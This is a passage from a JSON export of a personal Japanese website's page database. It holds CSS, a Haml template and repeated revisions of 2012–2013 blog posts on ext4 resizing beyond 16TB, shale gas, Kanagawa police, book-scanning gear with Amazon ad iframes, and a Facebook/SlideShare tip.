(max-width: 720px) {@-ms-viewport { width: 320px !important; }}\r\n@media screen and (max-width: 480px) {@-ms-viewport { width: 320px !important; }}\r\n\r\nbody{\r\n text-align:center;\r\n }\r\n#all, .all{\r\n max-width:860px;\r\n margin-left:auto;\r\n margin-right:auto;\r\n text-align:left;\r\n}\r\n\r\n#notice{ color:green; }\r\n#error{ color:red; }\r\n.small{ font-size:small;}\r\n\r\nimg{ max-width:100%; }\r\n\r\n.lightgray{color:lightgray}\r\n\r\n.none{display:none}\r\na{color:blue}\r\n.h0{font-size:9em}\r\n.h1{font-size:7em}\r\n.h2{font-size:3em}\r\n.right{float:right}\r\n.left{float:left}\r\n.clear{clear:both}\r\nnick{color:lightpink}\r\n.mine{color:yellow}\r\n.x-small{font-size:x-small}\r\nspan.link{font-size:x-large}","created_at":"2012-12-13T16:14:24.000Z","updated_at":"2012-12-13T16:14:24.000Z"},{"id":2237,"name":"text/Webプログラマーを志す学生","body":"%blog% Webプログラマーを志す学生さんが、学生のうちにやっておきたい11の事\r\n\r\n- バンジージャンプ\r\n- 逆バンジージャンプ\r\n- 川の橋からバンジージャンプ\r\n- スカイダイビング\r\n- ダイビングのレスキューライセンスの取得\r\n- ジュエルペットサンシャイン全話視聴\r\n- 内房線と外房線で千葉一周\r\n- 動労千葉について勉強\r\n\r\nこれをやるのとはてブに書いてあるようなこと真似するのと大して効果変わらないと思うので上記のようなことをやるのがいいと思います。","created_at":"2012-12-14T08:55:45.000Z","updated_at":"2012-12-14T08:55:45.000Z"},{"id":2238,"name":"text","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - text\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %p\r\n %a{href: '/'} back to the top\r\n %h1 ssig33.com - text\r\n -Page.select('distinct name').where('name like ?', 'text/%').map{|x| Page.where(name: x.name).order('id desc').last}.sort{|a,b| a.id \u003c=\u003e b.id}.reverse.each do |p|\r\n %p\r\n %a{href: \"/#{p.name}\"}=p.blogtitle\r\n %span{style: 'color:grey'}=\"(#{p.created_at.utc})\"","created_at":"2012-12-14T09:03:35.000Z","updated_at":"2012-12-14T09:03:35.000Z"},{"id":2239,"name":"text/Webプログラマーを志す学生","body":"%blog% Webプログラマーを志す学生さんが、学生のうちにやっておきたい11の事\r\n\r\n- バンジージャンプ\r\n- 逆バンジージャンプ\r\n- 川の橋からバンジージャンプ\r\n- スカイダイビング\r\n- ダイビングのレスキューライセンスの取得\r\n- ジュエルペットサンシャイン全話視聴\r\n- 内房線と外房線で千葉一周\r\n- 動労千葉について勉強\r\n- ラーメン二郎全店舗到達\r\n\r\nこれをやるのとはてブに書いてあるようなこと真似するのと大して効果変わらないと思うので上記のようなことをやるのがいいと思います。","created_at":"2012-12-14T09:04:09.000Z","updated_at":"2012-12-14T09:04:09.000Z"},{"id":2240,"name":"text/Webプログラマーを志す学生","body":"%blog% Webプログラマーを志す学生さんが、学生のうちにやっておきたい11の事\r\n\r\n- バンジージャンプ\r\n- 逆バンジージャンプ\r\n- 川の橋からバンジージャンプ\r\n- スカイダイビング\r\n- ダイビングのレスキューライセンスの取得\r\n- ジュエルペットサンシャイン全話視聴\r\n- 内房線と外房線で千葉一周\r\n- 動労千葉について勉強\r\n- ラーメン二郎全店舗到達\r\n\r\nこれをやるのとはてブに上がってくるようなエントリに書いてあるようなこと真似するのと大して効果変わらないと思うので上記のようなことをやるのがいいと思います。","created_at":"2012-12-14T09:05:15.000Z","updated_at":"2012-12-14T09:05:15.000Z"},{"id":2241,"name":"text/原発をなくしてシェールガスを使おう","body":"%blog% 原発をなくしてシェールガスを使おうみたいな主張最近よく見るけど\r\n\r\nああいうこと言ってる人達[ガスランド](http://www.amazon.com/dp/B0042EJD8A/)見たんですかね。\r\n\r\nこの映画、日本では公開形態が NHK BS 世界のドキュメンタリーでの放送になってしまった為、現在入手性が非常に悪くなっている状態ですが、\r\n\r\n- シェールガス生産の為の水圧破砕法に用いる化学薬品が深刻な環境汚染をもたらしている\r\n\r\nという現状を描いたドキュメンタリー映画です。\r\n\r\nこんな映画\r\n\r\n![ガスランド](http://ssig33.com/gyazo/862d51b54e29b0e102421c572c468279.png)\r\n\r\nこの映画では監督がシェールガス関連の問題の被害者であり、故に感情的になりすぎている部分や被害を誇張していると思えるような部分がいくらかあるのですが、\r\n\r\n- 風力発電は風車の風切り音で問題が発生するかも\r\n- 太陽光発電はかなり費用対効果が悪いかもしれない\r\n\r\nみたいな将来の懸念ではなく、シェールガスでは既に問題が発生しているのが現状で、にもかかわらず呑気にシェールガスをどんどん使おうみたいなことを言っている人は絶対に信用してはいけないと思います。","created_at":"2012-12-17T08:57:03.000Z","updated_at":"2012-12-17T08:57:03.000Z"},{"id":2242,"name":"text/ext4 を 16TB より大きくする","body":"%blog%\r\n\r\n結論: 表題のことは諦めろ\r\n\r\next3 で作成されたパーティションの最大サイズは 16TB とか 32TB とかであることがよく知られています。 ext4 であればこれが 1EiB まで増えると喧伝されています。\r\n\r\n実務上 16TB を越えるパーティションを作成することなどまず無いと思いますが、僕のサーバーはもはやこのような惨状であり\r\n\r\n![惨状](http://ssig33.com/gyazo/5d431a2a8ca3e3cfeaea239f6fe405f4.png)\r\n\r\nとりあえずパーティションを 21TB まで拡大したくなった。 LVM を使ってればまあこんなこともあるわけです。 1EiB までいけるんだから 21TB なんて余裕だろう。\r\n\r\nというわけで resize2fs を何も考えずに使ってみますがなんと resize2fs は 16TB までしかリサイズできません。糞野郎。\r\n\r\ne2fsprogs 1.42.6 以上であれば 16TB を越えるパーティションを扱えるらしいので、最新の e2fsprogs を自分でビルドしましょう。\r\n\r\n最新の resize2fs を使うとなお 16TB を越えるパーティションを作成できません。 32bit 環境じゃそんなデカいパーティション作れないよデブみたいなことを言われます。\r\n\r\nこれはパーティションのオプションに 64bit というオプションが有効になっていないと駄目ということらしく、 e2fsprogs は 16TB 以下のパーティションを作るときは気を遣ってこのオプションを無効にします。\r\n\r\nパーティションのオプションをいじるコマンドとして tune2fs というコマンドがありますがこれで tune2fs -O 64bit /dev/fuck_space/fuck_volume などとしても無駄です。 64bit オプションはあとからいじれません。既に作られたパーティションをいじるという場合はここで諦めるしかないです。\r\n\r\nですが追加されたディスク領域が既存のデータを全部ぶっこめるくらい大きいという場合は mke2fs コマンドで新しくパーティションを作りそこに古いの全部いれて古いの消して〜みたいな手法が使えます。この時 -O 64bit というオプションを使えば 64bit オプションが有効になります。\r\n\r\nさて満を持してリサイズをしようとするとこんどは\r\n\r\n\u003e Not enough reserved gdt blocks for resizing\r\n\r\nと怒られます。よう分かりませんが検索してみると[カーネル 3.7 以上じゃないと 16TB よりデカいパーティションへリサイズできない](http://www.spinics.net/lists/linux-ext4/msg35015.html)という話っぽいです。\r\n\r\nカーネルビルドしたら起動に失敗したというのが現在のステータスなのでここから先のことは分かりませんがここまで意味わからん問題が続くとカーネル上げた先にはそれはそれでトラブルがありそうな気がします。\r\n\r\nとりあえず 16TB より大きい ext4 なパーティションを作るのは諦めたほうがよい感じがします、、、","created_at":"2012-12-20T16:55:52.000Z","updated_at":"2012-12-20T16:55:52.000Z"},{"id":2243,"name":"text/ext4 を 16TB より大きくする","body":"%blog%\r\n\r\n結論: 表題のことは諦めろ\r\n\r\next3 で作成されたパーティションの最大サイズは 16TB とか 32TB とかであることがよく知られています。 ext4 であればこれが 1EiB まで増えると喧伝されています。\r\n\r\n実務上 16TB を越えるパーティションを作成することなどまず無いと思いますが、僕のサーバーはもはやこのような惨状であり\r\n\r\n![惨状](http://ssig33.com/gyazo/5d431a2a8ca3e3cfeaea239f6fe405f4.png)\r\n\r\nとりあえずパーティションを 21TB まで拡大したくなった。 LVM を使ってればまあこんなこともあるわけです。 1EiB までいけるんだから 21TB なんて余裕だろう。\r\n\r\nというわけで resize2fs を何も考えずに使ってみますがなんと resize2fs は 16TB までしかリサイズできません。糞野郎。\r\n\r\ne2fsprogs 1.42.6 以上であれば 16TB を越えるパーティションを扱えるらしいので、最新の e2fsprogs を自分でビルドしましょう。\r\n\r\n最新の resize2fs を使うとなお 16TB を越えるパーティションを作成できません。 32bit 環境じゃそんなデカいパーティション作れないよデブみたいなことを言われます。\r\n\r\nこれはパーティションのオプションに 64bit というオプションが有効になっていないと駄目ということらしく、 e2fsprogs は 16TB 以下のパーティションを作るときは気を遣ってこのオプションを無効にしやがります。\r\n\r\nパーティションのオプションをいじるコマンドとして tune2fs というコマンドがありますがこれで tune2fs -O 64bit /dev/fuck\\_space/fuck\\_volume などとしても無駄です。 64bit オプションはあとからいじれません。既に作られたパーティションをいじるという場合はここで諦めるしかないです。\r\n\r\nですが追加されたディスク領域が既存のデータを全部ぶっこめるくらい大きいという場合は mke2fs コマンドで新しくパーティションを作りそこに古いの全部いれて古いの消して〜みたいな手法が使えます。この時 -O 64bit というオプションを使えば 64bit オプションが有効になります。\r\n\r\nさて満を持してリサイズをしようとするとこんどは\r\n\r\n\u003e Not enough reserved gdt blocks for resizing\r\n\r\nと怒られます。よう分かりませんが検索してみると[カーネル 3.7 以上じゃないと 16TB よりデカいパーティションへリサイズできない](http://www.spinics.net/lists/linux-ext4/msg35015.html)という話っぽいです。\r\n\r\nカーネルビルドしたら起動に失敗したというのが現在のステータスなのでここから先のことは分かりませんがここまで意味わからん問題が続くとカーネル上げた先にはそれはそれでトラブルがありそうな気がします。\r\n\r\nとりあえず 16TB より大きい ext4 なパーティションを作るのは諦めたほうがよい感じがします、、、","created_at":"2012-12-20T16:58:27.000Z","updated_at":"2012-12-20T16:58:27.000Z"},{"id":2244,"name":"text/2012年振り返り","body":"%blog%\r\n\r\nみたいな記事を 2012 年中に書く奴は信用しないほうがいい。","created_at":"2013-01-01T15:11:07.000Z","updated_at":"2013-01-01T15:11:07.000Z"},{"id":2245,"name":"text/神奈川県には法律が無い","body":"%blog%\r\n\r\nもう去年の話ですが(「緊急避難」認め逆転無罪 拳銃で脅され覚せい剤注射)[http://www.47news.jp/CN/201212/CN2012121801001718.html]という話がありました。これ共同の配信している記事だけでは何が起きたか分かりづらいのですが、(朝日新聞の記事)[http://www.asahi.com/national/update/0104/TKY201301040236.html]にはもっと詳細が書かれていて、それを引用すると\r\n\r\n\u003e神奈川県警に覚醒剤密売の情報を調べるよう頼まれて暴力団幹部に接触した\r\n\r\nとのことです。これはつまり、神奈川県警察の警察官が、民間人を脅して違法なおとり捜査をやっているということになります。\r\n\r\n正直、この件の人物が常習の覚醒剤使用者で\"無い\"確率などほぼゼロに近いとは思いますがまあそんなことはどうでもいいんですよ。神奈川県警察は民間人を脅しておとり捜査をやります。これは本当にやばい。あなただっていつ神奈川県警察の暴虐の的になるか分かったもんじゃない。\r\n\r\n神奈川県警察といえば 1990 年代に不祥事を連発したことでよく知られていますが、 2000 年代になってその体質は改善するどころかより悪化していることが伺えます。正直ジェイムズ・エルロイとかの世界ですよこれは。\r\n\r\n神奈川には近づかないほうがいいと思います。","created_at":"2013-01-07T05:27:37.000Z","updated_at":"2013-01-07T05:27:37.000Z"},{"id":2246,"name":"text/神奈川県には法律が無い","body":"%blog%\r\n\r\nもう去年の話ですが[「緊急避難」認め逆転無罪 拳銃で脅され覚せい剤注射](http://www.47news.jp/CN/201212/CN2012121801001718.html)という話がありました。これ共同の配信している記事だけでは何が起きたか分かりづらいのですが、[朝日新聞の記事](http://www.asahi.com/national/update/0104/TKY201301040236.html)にはもっと詳細が書かれていて、それを引用すると\r\n\r\n\u003e神奈川県警に覚醒剤密売の情報を調べるよう頼まれて暴力団幹部に接触した\r\n\r\nとのことです。これはつまり、神奈川県警察の警察官が、民間人を脅して違法なおとり捜査をやっているということになります。\r\n\r\n正直、この件の人物が常習の覚醒剤使用者で\"無い\"確率などほぼゼロに近いとは思いますがまあそんなことはどうでもいいんですよ。神奈川県警察は民間人を脅しておとり捜査をやります。これは本当にやばい。あなただっていつ神奈川県警察の暴虐の的になるか分かったもんじゃない。\r\n\r\n神奈川県警察といえば 1990 年代に不祥事を連発したことでよく知られていますが、 2000 年代になってその体質は改善するどころかより悪化していることが伺えます。正直ジェイムズ・エルロイとかの世界ですよこれは。\r\n\r\n神奈川には近づかないほうがいいと思います。","created_at":"2013-01-07T05:27:59.000Z","updated_at":"2013-01-07T05:27:59.000Z"},{"id":2247,"name":"text/神奈川県には法律が無い","body":"%blog%\r\n\r\nもう去年の話ですが[「緊急避難」認め逆転無罪 拳銃で脅され覚せい剤注射](http://www.47news.jp/CN/201212/CN2012121801001718.html)という話がありました。これ共同の配信している記事だけでは何が起きたか分かりづらいのですが、[朝日新聞の記事](http://www.asahi.com/national/update/0104/TKY201301040236.html)にはもっと詳細が書かれていて、それを引用すると\r\n\r\n\u003e神奈川県警に覚醒剤密売の情報を調べるよう頼まれて暴力団幹部に接触した\r\n\r\nとのことです。これはつまり、神奈川県警察の警察官が、民間人を脅して違法なおとり捜査をやっているということになります。\r\n\r\n正直、この件の人物が常習の覚醒剤使用者で*無い*確率などほぼゼロに近いとは思いますがまあそんなことはどうでもいいんですよ。神奈川県警察は民間人を脅しておとり捜査をやります。これは本当にやばい。あなただっていつ神奈川県警察の暴虐の的になるか分かったもんじゃない。\r\n\r\n神奈川県警察といえば 1990 年代に不祥事を連発したことでよく知られていますが、 2000 年代になってその体質は改善するどころかより悪化していることが伺えます。正直ジェイムズ・エルロイとかの世界ですよこれは。\r\n\r\n神奈川には近づかないほうがいいと思います。","created_at":"2013-01-07T05:28:44.000Z","updated_at":"2013-01-07T05:28:44.000Z"},{"id":2248,"name":"text/神奈川県には法律が無い","body":"%blog%\r\n\r\nもう去年の話ですが[「緊急避難」認め逆転無罪 拳銃で脅され覚せい剤注射](http://www.47news.jp/CN/201212/CN2012121801001718.html)という話がありました。これ共同の配信している記事だけでは何が起きたか分かりづらいのですが、[朝日新聞の記事](http://www.asahi.com/national/update/0104/TKY201301040236.html)にはもっと詳細が書かれていて、それを引用すると\r\n\r\n\u003e神奈川県警に覚醒剤密売の情報を調べるよう頼まれて暴力団幹部に接触した\r\n\r\nとのことです。これはつまり、神奈川県警察の警察官が、民間人を脅して違法なおとり捜査をやっているということになります。\r\n\r\n正直、この件の人物が常習の覚醒剤使用者で**無い**確率などほぼゼロに近いとは思いますがまあそんなことはどうでもいいんですよ。神奈川県警察は民間人を脅しておとり捜査をやります。これは本当にやばい。あなただっていつ神奈川県警察の暴虐の的になるか分かったもんじゃない。\r\n\r\n神奈川県警察といえば 1990 年代に不祥事を連発したことでよく知られていますが、 2000 年代になってその体質は改善するどころかより悪化していることが伺えます。正直ジェイムズ・エルロイとかの世界ですよこれは。\r\n\r\n神奈川には近づかないほうがいいと思います。","created_at":"2013-01-07T05:29:00.000Z","updated_at":"2013-01-07T05:29:00.000Z"},{"id":2249,"name":"text/2012年ツイートオブジイヤー","body":"%blog%\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-in-reply-to=\"262110724099276800\"\u003e\u003cp\u003e@\u003ca href=\"https://twitter.com/ayana_take\"\u003eayana_take\u003c/a\u003e 私の彼、講演会見てたんです(^^)vあとでお話聞く予定です(・∀・)これからもお仕事頑張ってください♪\u003c/p\u003e\u0026mdash; 亜麻 (@02aMa23) \u003ca href=\"https://twitter.com/02aMa23/status/262114587514642432\" data-datetime=\"2012-10-27T08:52:42+00:00\"\u003eOctober 27, 2012\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e","created_at":"2013-01-08T00:18:09.000Z","updated_at":"2013-01-08T00:18:09.000Z"},{"id":2250,"name":"text/2012年ツイートオブジイヤー","body":"%blog%\r\n\r\n# 金賞\r\n\u003cblockquote class=\"twitter-tweet\" data-in-reply-to=\"262110724099276800\"\u003e\u003cp\u003e@\u003ca href=\"https://twitter.com/ayana_take\"\u003eayana_take\u003c/a\u003e 私の彼、講演会見てたんです(^^)vあとでお話聞く予定です(・∀・)これからもお仕事頑張ってください♪\u003c/p\u003e— 亜麻 (@02aMa23) \u003ca href=\"https://twitter.com/02aMa23/status/262114587514642432\" data-datetime=\"2012-10-27T08:52:42+00:00\"\u003eOctober 27, 2012\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n# 銀賞\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e\u003ca href=\"http://t.co/UGbHUpvR\" title=\"http://twitter.com/korenikime/status/272009799464542209/photo/1\"\u003etwitter.com/korenikime/sta…\u003c/a\u003e\u003c/p\u003e— コレニキメ (@korenikime) \u003ca href=\"https://twitter.com/korenikime/status/272009799464542209\" data-datetime=\"2012-11-23T16:12:45+00:00\"\u003eNovember 23, 2012\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e","created_at":"2013-01-08T00:19:00.000Z","updated_at":"2013-01-08T00:19:00.000Z"},{"id":2251,"name":"text/自炊環境 2013","body":"%blog%\r\n\r\n※ Amazon の広告貼ってる記事なので Adblock とか使ってると何が何だか分からなくなります。\r\n\r\n自炊をやる時に使うもののド定番って今は\r\n\r\n\u003ciframe src=\"http://rcm-jp.amazon.co.jp/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=B00A5YE7C8\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\u003ciframe src=\"http://rcm-jp.amazon.co.jp/e/cm?t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as1\u0026asins=B00A378TNU\u0026ref=qf_sp_asin_til\u0026fc1=000000\u0026IS2=1\u0026lt1=_blank\u0026m=amazon\u0026lc1=0000FF\u0026bc1=000000\u0026bg1=FFFFFF\u0026f=ifr\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\nこの組合せなのかな?という感じがありますが、それぞれ問題があると思ってます。\r\n\r\n- 共通する問題点\r\n - 高いわボケ\r\n- 裁断器のほうの問題点\r\n - 精々 1.8cm の本しか切れない。マンガ雑誌や文芸誌、様々な専門書やハードカバーの本などは分厚いものはあらかじめ背を開いて複数回に分けて切る必要がありめんどくさい。\r\n- スキャナーの方の問題点\r\n - S1500 からかなり改善したけどそれでもまだ類似品のなかではダブルフィード\r\n\r\nというような感じなので、僕がおすすめする組合せは\r\n\r\n\u003ciframe src=\"http://rcm-jp.amazon.co.jp/e/cm?t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as1\u0026asins=B008HTQ6BI\u0026ref=qf_sp_asin_til\u0026fc1=000000\u0026IS2=1\u0026lt1=_blank\u0026m=amazon\u0026lc1=0000FF\u0026bc1=000000\u0026bg1=FFFFFF\u0026f=ifr\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\u003ciframe src=\"http://rcm-jp.amazon.co.jp/e/cm?t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as1\u0026asins=B003MPRP9Y\u0026ref=qf_sp_asin_til\u0026fc1=000000\u0026IS2=1\u0026lt1=_blank\u0026m=amazon\u0026lc1=0000FF\u0026bc1=000000\u0026bg1=FFFFFF\u0026f=ifr\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\nです。とにかく安いです。","created_at":"2013-01-08T14:39:51.000Z","updated_at":"2013-01-08T14:39:51.000Z"},{"id":2252,"name":"text/自炊環境 2013","body":"%blog%\r\n\r\n※ Amazon の広告貼ってる記事なので Adblock とか使ってると何が何だか分からなくなります。\r\n\r\n自炊をやる時に使うもののド定番って今は\r\n\r\n\u003ciframe src=\"http://rcm-jp.amazon.co.jp/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=B00A5YE7C8\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\u003ciframe src=\"http://rcm-jp.amazon.co.jp/e/cm?t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as1\u0026asins=B00A378TNU\u0026ref=qf_sp_asin_til\u0026fc1=000000\u0026IS2=1\u0026lt1=_blank\u0026m=amazon\u0026lc1=0000FF\u0026bc1=000000\u0026bg1=FFFFFF\u0026f=ifr\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\nこの組合せなのかな?という感じがありますが、それぞれ問題があると思ってます。\r\n\r\n- 共通する問題点\r\n - 高いわボケ\r\n- 裁断器のほうの問題点\r\n - 精々 1.8cm の本しか切れない。マンガ雑誌や文芸誌、様々な専門書やハードカバーの本などは分厚いものはあらかじめ背を開いて複数回に分けて切る必要がありめんどくさい。\r\n- スキャナーの方の問題点\r\n - S1500 からかなり改善したけどそれでもまだ類似品のなかではダブルフィード\r\n\r\nというような感じなので、僕がおすすめする組合せは\r\n\r\n\u003ciframe src=\"http://rcm-jp.amazon.co.jp/e/cm?t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as1\u0026asins=B008HTQ6BI\u0026ref=qf_sp_asin_til\u0026fc1=000000\u0026IS2=1\u0026lt1=_blank\u0026m=amazon\u0026lc1=0000FF\u0026bc1=000000\u0026bg1=FFFFFF\u0026f=ifr\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\u003ciframe src=\"http://rcm-jp.amazon.co.jp/e/cm?t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as1\u0026asins=B003MPRP9Y\u0026ref=qf_sp_asin_til\u0026fc1=000000\u0026IS2=1\u0026lt1=_blank\u0026m=amazon\u0026lc1=0000FF\u0026bc1=000000\u0026bg1=FFFFFF\u0026f=ifr\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\nです。とにかく安いです。敵軍は合計 8 万円もしますがこっちは 3 万円で買えます。\r\n\r\nそしてこのいかにもゴツい裁断器はハードカバーの 1000 ページの本をまるごと裁断できます。欠点はデカくて重いことです。\r\n\r\nスキャナはダブルフィード ScanSnap よりずっと少ないのがよいところです。問題点としてはソフトの UI が微妙、アホみたいにうるさい、というあたりでしょうか。殆どの人に刺さらない利点としては sane でスキャンできるドライバがあって便利です。\r\n\r\n「自炊をはじめるには金がかかってしかたがない」と思っている方に「こういう選択肢もあるよ」というような記事でした。","created_at":"2013-01-08T14:42:15.000Z","updated_at":"2013-01-08T14:42:15.000Z"},{"id":2253,"name":"text/自炊環境 2013","body":"%blog%\r\n\r\n※ Amazon の広告貼ってる記事なので Adblock とか使ってると何が何だか分からなくなります。\r\n\r\n自炊をやる時に使うもののド定番って今は\r\n\r\n\u003ciframe src=\"http://rcm-jp.amazon.co.jp/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=B00A5YE7C8\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\u003ciframe src=\"http://rcm-jp.amazon.co.jp/e/cm?t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as1\u0026asins=B00A378TNU\u0026ref=qf_sp_asin_til\u0026fc1=000000\u0026IS2=1\u003c1=_blank\u0026m=amazon\u0026lc1=0000FF\u0026bc1=000000\u0026bg1=FFFFFF\u0026f=ifr\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\nこの組合せなのかな?という感じがありますが、それぞれ問題があると思ってます。\r\n\r\n- 共通する問題点\r\n - 高いわボケ\r\n- 裁断器のほうの問題点\r\n - 精々 1.8cm の本しか切れない。マンガ雑誌や文芸誌、様々な専門書やハードカバーの本などは分厚いものはあらかじめ背を開いて複数回に分けて切る必要がありめんどくさい。\r\n- スキャナーの方の問題点\r\n - S1500 からかなり改善したけどそれでもまだ類似品のなかではダブルフィードが多い\r\n\r\nというような感じなので、僕がおすすめする組合せは\r\n\r\n\u003ciframe src=\"http://rcm-jp.amazon.co.jp/e/cm?t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as1\u0026asins=B008HTQ6BI\u0026ref=qf_sp_asin_til\u0026fc1=000000\u0026IS2=1\u003c1=_blank\u0026m=amazon\u0026lc1=0000FF\u0026bc1=000000\u0026bg1=FFFFFF\u0026f=ifr\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\u003ciframe src=\"http://rcm-jp.amazon.co.jp/e/cm?t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as1\u0026asins=B003MPRP9Y\u0026ref=qf_sp_asin_til\u0026fc1=000000\u0026IS2=1\u003c1=_blank\u0026m=amazon\u0026lc1=0000FF\u0026bc1=000000\u0026bg1=FFFFFF\u0026f=ifr\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\nです。とにかく安いです。敵軍は合計 8 万円もしますがこっちは 3 万円で買えます。\r\n\r\nそしてこのいかにもゴツい裁断器はハードカバーの 1000 ページの本をまるごと裁断できます。欠点はデカくて重いことです。\r\n\r\nスキャナはダブルフィード ScanSnap よりずっと少ないのがよいところです。問題点としてはソフトの UI が微妙、アホみたいにうるさい、というあたりでしょうか。殆どの人に刺さらない利点としては sane でスキャンできるドライバがあって便利です。\r\n\r\n「自炊をはじめるには金がかかってしかたがない」と思っている方に「こういう選択肢もあるよ」というような記事でした。","created_at":"2013-01-08T14:42:54.000Z","updated_at":"2013-01-08T14:42:54.000Z"},{"id":2254,"name":"text/facebook と slidshare","body":"%blog% facebook と slideshare に関する知っておいて損の無い知識\r\n\r\n※ この記事は Google Chrome か Firefox で見てください。\r\n\r\n\u003cvideo src=\"http://ssig33.com/facebook_slideshare.ogv\" autoplay controls\u003e\r\n\r\nfacebook で slideshare のスライド見ようとするとアプリケーション連携を求められますがそこでキャンセル押すとスライドに行けます。","created_at":"2013-01-15T06:52:41.000Z","updated_at":"2013-01-15T06:52:41.000Z"},{"id":2255,"name":"text/facebook と slidshare","body":"%blog% facebook と slideshare に関する知っておいて損の無い知識\r\n\r\n※ この記事は Google Chrome か Firefox で見てください。\r\n\r\n\u003cvideo src=\"http://ssig33.com/facebook_slideshare.ogv\" autoplay controls loop\u003e\r\n\r\nfacebook で slideshare のスライド見ようとするとアプリケーション連携を求められますがそこでキャンセル押すとスライドに行けます。","created_at":"2013-01-15T06:53:02.000Z","updated_at":"2013-01-15T06:53:02.000Z"},{"id":2256,"name":"common.css","body":"raw\r\nmime css\r\n@-ms-viewport{ width: device-width; }\r\n\r\n@media screen and (max-width: 1280px){@-ms-viewport { width: 480px !important; }}\r\n@media screen and (max-width: 800px) {@-ms-viewport { width: 480px !important; }}\r\n@media screen and (max-width: 720px) {@-ms-viewport { width: 320px !important; }}\r\n@media screen and (max-width: 480px) {@-ms-viewport { width: 320px !important; }}\r\n\r\nbody{\r\n text-align:center;\r\n }\r\n#all, .all{\r\n max-width:860px;\r\n margin-left:auto;\r\n margin-right:auto;\r\n text-align:left;\r\n}\r\n\r\n#notice{ color:green; }\r\n#error{ color:red; }\r\n.small{ font-size:small;}\r\n\r\nimg, video{ max-width:100%; 